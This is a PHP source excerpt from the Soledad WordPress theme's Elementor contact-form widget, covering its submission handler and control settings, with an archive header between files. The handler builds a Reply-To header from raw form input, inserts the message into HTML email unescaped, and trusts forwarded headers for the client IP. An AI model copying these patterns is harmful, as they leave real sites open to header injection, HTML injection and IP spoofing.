				if ( $this->are_emails_same( wp_kses_post( trim( $form_data['email'] ) ), $admin_email ) || $admin_email == wp_kses_post( trim( $form_data['email'] ) ) || $email == wp_kses_post( trim( $form_data['email'] ) ) ) {
					$error  = true;
					$result = $error_same_as_admin;
				} else {
					if ( isset( $widget_settings['contact_form_spam_email'] ) ) {
						$spam_email_list = $widget_settings['contact_form_spam_email'];
						$final_spam_list = explode( ',', $spam_email_list );
						foreach ( $final_spam_list as $spam_email ) {
							if ( trim( $form_data['email'] ) == trim( $spam_email ) ) {
								$error  = true;
								$result = $error_spam_email;
								break;
							}
						}
					}
				}
			}

			/** Recaptcha*/

			if ( isset( $widget_settings['show_recaptcha'] ) && $widget_settings['show_recaptcha'] == 'yes' ) {
				if ( ! empty( $widget_settings['recaptcha_site_key'] ) && ! empty( $widget_settings['recaptcha_secret_key'] ) ) {
					if ( ! $this->is_valid_captcha( [
						'recaptcha_site_key'   => $widget_settings['recaptcha_site_key'],
						'recaptcha_secret_key' => $widget_settings['recaptcha_secret_key'],
					] ) ) {
						$error  = true;
						$result = esc_html__( "reCAPTCHA is invalid!", "soledad" );
					}
				}
			}


			$contact_number  = isset( $form_data['contact'] ) ? esc_attr( $form_data['contact'] ) : '';
			$contact_subject = isset( $form_data['subject'] ) ? esc_attr( $form_data['subject'] ) : '';

			// but if $error is still FALSE, put together the POSTed variables and send the e-mail!
			if ( $error == false ) {
				// get the website's name and puts it in front of the subject
				$email_subject = "[" . get_bloginfo( 'name' ) . "] " . $contact_subject;
				// get the message from the form and add the IP address of the user below it
				$email_message = $this->message_html( $form_data['message'], $form_data['name'], $form_data['email'], $contact_number );
				// set the e-mail headers with the user's name, e-mail address and character encoding
				$headers = "Reply-To: " . $form_data['name'] . " <" . $form_data['email'] . ">\n";
				$headers .= "Content-Type: text/html; charset=UTF-8\n";
				$headers .= "Content-Transfer-Encoding: 8bit\n";
				// send the e-mail with the shortcode attribute named 'email' and the POSTed data
				wp_mail( $email, html_entity_decode( $email_subject ), $email_message, $headers );
				// and set the result text to the shortcode attribute named 'success'
				$result = $success;
				// ...and switch the $sent variable to TRUE
				$sent = true;
			}


			$redirect_url = ( isset( $form_data['redirect-url'] ) && ! empty( $form_data['redirect-url'] ) ) ? esc_url( $form_data['redirect-url'] ) : 'no';
			$is_external  = ( isset( $form_data['is-external'] ) && ! empty( $form_data['is-external'] ) ) ? esc_attr( $form_data['is-external'] ) : 'no';

			$reset_status = ( isset( $form_data['reset-after-submit'] ) && ( $form_data['reset-after-submit'] == 'yes' ) ) ? 'yes' : 'no';

			if ( $error == false ) {
				echo '<div class="pencif-text-notice pencif-text-success" data-resetstatus="' . esc_html( $reset_status ) . '"  data-redirect="' . wp_kses_post( $redirect_url ) . '" data-external="' . esc_attr( $is_external ) . '">' . esc_html( $result ) . '</div>';
				// wp_redirect( $form_data['redirect_url'] );
			} else {
				echo '<div class="pencif-text-notice pencif-text-warning">' . esc_html( $result ) . '</div>';
			}
		}

		die;
	}

	public static function get_client_ip() {
		$server_ip_keys = [
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		];

		foreach ( $server_ip_keys as $key ) {
			if ( isset( $_SERVER[ $key ] ) && filter_var( $_SERVER[ $key ], FILTER_VALIDATE_IP ) ) {
				return $_SERVER[ $key ];
			}
		}

		// Fallback local ip.
		return '127.0.0.1';
	}

	public function message_html( $message, $name, $email, $number = '' ) {

		$fullmsg = "<html lang='en-US'><body style='background-color: #f5f5f5; padding: 35px;'>";
		$fullmsg .= "<div style='max-width: 768px; margin: 0 auto; background-color: #fff; padding: 50px 35px;'>";
		$fullmsg .= nl2br( $message );
		$fullmsg .= "<br><br>";
		$fullmsg .= "<b>" . esc_html( $name ) . "<b><br>";
		$fullmsg .= esc_html( $email ) . "<br>";
		$fullmsg .= ( $number ) ? esc_html( $number ) . "<br>" : "";
		$fullmsg .= "<em>IP: " . self::get_client_ip() . "</em>";
		$fullmsg .= "</div>";
		$fullmsg .= "</body></html>";

		return $fullmsg;
	}

	public function __construct() {
		parent::__construct();

		add_action( 'wp_ajax_penci_contact_form', [ $this, 'contact_form' ] );
		add_action( 'wp_ajax_nopriv_penci_contact_form', [ $this, 'contact_form' ] );
	}
}
PK     N\?    G  inc/elementor/modules/penci-contact-form/widgets/penci-contact-form.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciContactForm\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciContactForm extends Base_Widget {

	public function get_name() {
		return 'penci-contact-form';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Contact Form', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-form-horizontal';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'contact', 'form', 'email' ];
	}

	public function get_script_depends() {
		return [ 'recaptcha', 'penci-contact-form' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_forms_layout',
			[
				'label' => esc_html__( 'Forms Layout', 'soledad' ),
			]
		);

		$this->add_control(
			'show_labels',
			[
				'label'   => esc_html__( 'Label', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'contact_number',
			[
				'label' => esc_html__( 'Contact Number Field', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'show_subject',
			[
				'label'   => esc_html__( 'Subject Field', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_message',
			[
				'label'   => esc_html__( 'Message Field', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'two_columns',
			[
				'label' => esc_html__( 'Two Columns', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'name_email_field_inline',
			[
				'label'     => esc_html__( 'Name/Email Field Inline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'two_columns' => ''
				]
			]
		);

		$this->add_responsive_control(
			'text_align',
			[
				'label'     => esc_html__( 'Text Align', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'left',
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pencif-contact-form, {{WRAPPER}} .pencif-contact-form input, {{WRAPPER}} .pencif-contact-form textarea' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_submit_button',
			[
				'label' => esc_html__( 'Submit Button', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text',
			[
				'label'   => esc_html__( 'Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Send Message', 'soledad' ),
			]
		);

		$this->add_control(
			'button_size',
			[
				'label'   => esc_html__( 'Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => [
					''           => esc_html__( 'Default', 'soledad' ),
					'small'      => esc_html__( 'Small', 'soledad' ),
					'large'      => esc_html__( 'Large', 'soledad' ),
					'full-width' => esc_html__( 'Full Width', 'soledad' ),
				],
			]
		);

		$this->add_responsive_control(
			'align',
			[
				'label'   => esc_html__( 'Alignment', 'soledad' ),
				'type'    => Controls_Manager::CHOOSE,
				'default' => '',
				'options' => [
					'start'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'  => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'end'     => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
					'stretch' => [
						'title' => esc_html__( 'Justified', 'soledad' ),
						'icon'  => 'eicon-text-align-justify',
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_forms_additional_options',
			[
				'label' => esc_html__( 'Additional Options', 'soledad' ),
			]
		);

		$this->add_control(
			'user_name_heading',
			[
				'label'     => esc_html__( 'Name Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'user_name_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Name*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);


		$this->add_control(
			'user_name_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Your Name', 'soledad' ),
			]
		);

		$this->add_control(
			'contact_heading',
			[
				'label'     => esc_html__( 'Contact Number Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'contact_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Contact Number', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'contact_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Your contact number', 'soledad' ),
			]
		);

		$this->add_control(
			'subject_heading',
			[
				'label'     => esc_html__( 'Subject Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'subject_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Subject*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'subject_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Your message subject', 'soledad' ),
			]
		);

		$this->add_control(
			'email_address_heading',
			[
				'label'     => esc_html__( 'Email Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'email_address_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Email*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'email_placeholder',
			[
				'label'   => esc_html__( 'Placeholder', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'example@email.com', 'soledad' ),
			]
		);

		$this->add_control(
			'message_label_heading',
			[
				'label'     => esc_html__( 'Message Field', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'message_label',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Your Message*', 'soledad' ),
				'condition' => [
					'show_labels' => 'yes',
				],
			]
		);

		$this->add_control(
			'message_placeholder',
			[
				'label'     => esc_html__( 'Placeholder', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Your Message Here', 'soledad' ),
				'separator' => 'after',
			]
		);

		$this->add_control(
			'show_additional_message',
			[
				'label' => esc_html__( 'Additional Bottom Message', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'additional_message',
			[
				'label'       => esc_html__( 'Message', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => esc_html__( 'Note: You have to fill-up above all respective field, then click below button for send your message', 'soledad' ),
				'condition'   => [
					'show_additional_message' => 'yes',
				],
			]
		);

		$this->add_control(
			'show_recaptcha',
			[
				'label'       => esc_html__( 'reCAPTCHA Enable', 'soledad' ),
				'description' => __( 'Please follow <a target="_blank" href="https://www.google.com/recaptcha/admin">this link</a> to get the reCAPTCHA keys for your site.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => 'yes',
			]
		);

		$this->add_control(
			'recaptcha_site_key',
			[
				'label'       => esc_html__( 'reCAPTCHA Site Key', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'show_recaptcha' => 'yes',
				],
			]
		);

		$this->add_control(
			'recaptcha_secret_key',
			[
				'label'       => esc_html__( 'reCAPTCHA Secret Key', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'condition'   => [
					'show_recaptcha' => 'yes',
				],
			]
		);

		$this->add_control(
			'hide_recaptcha_badge',
			[
				'label'     => esc_html__( 'Hide reCAPTCHA Bagde', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_recaptcha' => 'yes',
				],
			]
		);

		$this->add_control(
			'message_rows',
			[
				'label'   => esc_html__( 'Message Rows', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '5',
				'options' => [
					'1'  => '1',
					'2'  => '2',
					'3'  => '3',
					'4'  => '4',
					'5'  => '5',
					'6'  => '6',
					'7'  => '7',
					'8'  => '8',
					'9'  => '9',
					'10' => '10',
				],
			]
		);

		$this->add_control(
			'redirect_after_submit',
			[
				'label'     => esc_html__( 'Redirect After Submit', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			]
		);

		$this->add_control(
			'redirect_url',
			[
				'type'          => Controls_Manager::URL,
				'show_label'    => false,
				'show_external' => false,
				'separator'     => false,
				'placeholder'   => 'http://your-link.com/',
				'description'   => esc_html__( 'Note: Because of security reasons, you can ONLY use your current domain here.', 'soledad' ),
				'condition'     => [
					'redirect_after_submit' => 'yes',
				],
				'dynamic'       => [ 'active' => true ],
			]
		);

		$this->add_control(
			'reset_after_submit',
			[
				'label' => esc_html__( 'Reset After Submit', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'transhelp',
			[
				'raw'             => __( 'Please follow <a target="_blank" href="' . admin_url( 'customize.php?autofocus[section]=pencidesign_new_section_transition_lang_section' ) . '">this link</a> to edit the form confirmation content.', 'soledad' ),
				'type'            => Controls_Manager::RAW_HTML,
				'separator'       => 'before',
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);


		$this->end_controls_section();

		$this->start_controls_section(
			'section_email_settings',
			[
				'label' => esc_html__( 'Email Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'custom_email_to',
			[
				'label'       => esc_html__( 'Custom Received Email', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
			]
		);

		$this->add_control(
			'contact_form_spam_email',
			[
				'label'       => esc_html__( 'Never Received Email from Email on This List', 'soledad' ),
				'description' => esc_html__( 'Separate email by commas', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style',
			[
				'label' => esc_html__( 'Form Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_responsive_control(
			'row_gap',
			[
				'label'     => esc_html__( 'Rows Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group:not(:last-child)'                  => 'margin-bottom: {{SIZE}}{{UNIT}};margin-top: 0;',
					'{{WRAPPER}} form.pencif-2col .pencif-col .pencif-field-group'      => 'margin-bottom: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .pencif-name-email-inline + .pencif-name-email-inline' => 'padding-left: {{SIZE}}px',
				],
			]
		);
		
		$this->add_responsive_control(
			'col_gap',
			[
				'label'     => esc_html__( 'Columns Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'condition' => [
					'two_columns' => 'yes'
				],
				'selectors' => [
					'{{WRAPPER}} form.pencif-2col'                  => 'column-gap: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_labels',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_labels!' => '',
				],
			]
		);

		$this->add_control(
			'label_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group > label' => 'margin-bottom: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-form-label' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'label_typography',
				'selector' => '{{WRAPPER}} .pencif-form-label',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_field_style',
			[
				'label' => esc_html__( 'Fields', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_field_style' );

		$this->start_controls_tab(
			'tab_field_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'field_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_placeholder_color',
			[
				'label'     => esc_html__( 'Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input::placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea::placeholder'      => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'field_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .pencif-field-group .pencif-input, {{WRAPPER}} .pencif-field-group textarea',
				'separator'   => 'before',
			]
		);

		$this->add_control(
			'field_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'field_box_shadow',
				'selector' => '{{WRAPPER}} .pencif-field-group .pencif-input, {{WRAPPER}} .pencif-field-group textarea',
			]
		);

		$this->add_responsive_control(
			'field_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'      => 'field_typography',
				'label'     => esc_html__( 'Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .pencif-field-group .pencif-input, {{WRAPPER}} .pencif-field-group textarea',
				'separator' => 'before',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_field_focus',
			[
				'label' => esc_html__( 'Focus', 'soledad' ),
			]
		);

		$this->add_control(
			'field_focus_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input:focus' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea:focus'      => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_focus_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input:focus' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea:focus'      => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'field_border_border!' => '',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_submit_button_style',
			[
				'label' => esc_html__( 'Submit Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-button' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				//'scheme'   => Schemes\Typography::TYPOGRAPHY_4,
				'selector' => '{{WRAPPER}} .pencif-button',
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'button_background_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .pencif-button'
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'button_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .pencif-button',
				'separator'   => 'before',
			]
		);

		$this->add_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'button_text_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-button:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'button_background_hover_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .pencif-button:hover'
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .pencif-button:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'button_border_border!' => '',
				],
			]
		);

		$this->add_control(
			'button_hover_animation',
			[
				'label' => esc_html__( 'Animation', 'soledad' ),
				'type'  => Controls_Manager::HOVER_ANIMATION,
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_additional_style',
			[
				'label'     => esc_html__( 'Additional Message', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_additional_message!' => '',
				],
			]
		);

		$this->add_control(
			'additional_text_color',
			[
				'name'      => 'additional_text_color',
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-contact-form-additional-message' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'additional_text_typography',
				'selector' => '{{WRAPPER}} .pencif-contact-form-additional-message',
			]
		);

		$this->end_controls_section();
	}

	public function form_fields_render_attributes() {
		$settings        = $this->get_settings_for_display();
		$id              = $this->get_id();

		if ( ! empty ( $settings['button_size'] ) ) {
			$this->add_render_attribute( 'button', 'class', 'pencif-button-' . $settings['button_size'] );
		}

		if ( $settings['button_hover_animation'] ) {
			$this->add_render_attribute( 'button', 'class', 'elementor-animation-' . $settings['button_hover_animation'] );
		}

		$this->add_render_attribute(
			[
				'wrapper'      => [
					'class' => [
						'penci-form-fields-wrapper',
					],
				],
				'field-group'  => [
					'class' => [
						'pencif-field-group',
						'pencif-width-1-1',
					],
				],
				'submit-group' => [
					'class' => [
						'elementor-field-type-submit',
						'pencif-field-group',
						'pencif-flex',
						'pencif-width-1-1',
					],
				],

				'button'              => [
					'class' => [
						'penci-button',
						'pencif-button',
						'pencif-button-primary',
					],
					'name'  => 'submit',
				],
				'user_name_label'     => [
					'for'   => 'user_name' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'contact_label'       => [
					'for'   => 'contact' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'subject_label'       => [
					'for'   => 'subject' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'email_address_label' => [
					'for'   => 'email' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'message_label'       => [
					'for'   => 'message' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'user_name_input'     => [
					'type'        => 'text',
					'name'        => 'name',
					'id'          => 'user_name' . $id,
					'placeholder' => ( $settings['user_name_placeholder'] ) ? $settings['user_name_placeholder'] : esc_html__( 'Your Name', 'soledad' ),
					'class'       => [
						'pencif-input',
					],
				],
				'contact_input'       => [
					'type'        => 'tel',
					'name'        => 'contact',
					'id'          => 'contact' . $id,
					'placeholder' => ( $settings['contact_placeholder'] ) ? $settings['contact_placeholder'] : esc_html__( 'Your Contact Number', 'soledad' ),
					'class'       => [
						'pencif-input',
					],
				],
				'subject_input'       => [
					'type'        => 'text',
					'name'        => 'subject',
					'id'          => 'subject' . $id,
					'placeholder' => ( $settings['subject_placeholder'] ) ? $settings['subject_placeholder'] : esc_html__( 'Your Message Subject', 'soledad' ),
					'class'       => [
						'pencif-input',
					],
				],
				'email_address_input' => [
					'type'        => 'email',
					'name'        => 'email',
					'id'          => 'email' . $id,
					'placeholder' => ( $settings['email_placeholder'] ) ? $settings['email_placeholder'] : esc_html__( 'example@email.com', 'soledad' ),
					'class'       => [
						'pencif-input'
					],
				],
				'message_area'        => [
					'name'        => 'message',
					'id'          => 'message' . $id,
					'rows'        => $settings['message_rows'],
					'placeholder' => ( $settings['message_placeholder'] ) ? $settings['message_placeholder'] : esc_html__( 'Your Message Here', 'soledad' ),
					'class'       => [
						'pencif-textarea',
					],
				],
			]
		);

		if ( isset ( $settings['show_recaptcha'] ) && $settings['show_recaptcha'] == 'yes' ) {
			if ( ! empty ( $settings['recaptcha_site_key'] ) and ! empty ( $settings['recaptcha_secret_key'] ) ) {
				$this->add_render_attribute( 'button', 'data-sitekey', $settings['recaptcha_site_key'] );
				$this->add_render_attribute( 'button', 'data-callback', 'PenciCFormCheckGICF' );
				$this->add_render_attribute( 'button', 'class', 'g-recaptcha' );
			}
		}

		if ( ! $settings['show_labels'] ) {
			$this->add_render_attribute( 'label', 'class', 'elementor-screen-only' );
		}

		$this->add_render_attribute( 'field-group', 'class', 'elementor-field-required' )
		     ->add_render_attribute( 'input', 'required', 'required' )
		     ->add_render_attribute( 'input', 'aria-required', 'true' );
	}


	public function render() {
		$this->form_fields_render_attributes();

		?>
        <div class="pencif-contact-form">
            <div class="penci-form-fields-wrapper">
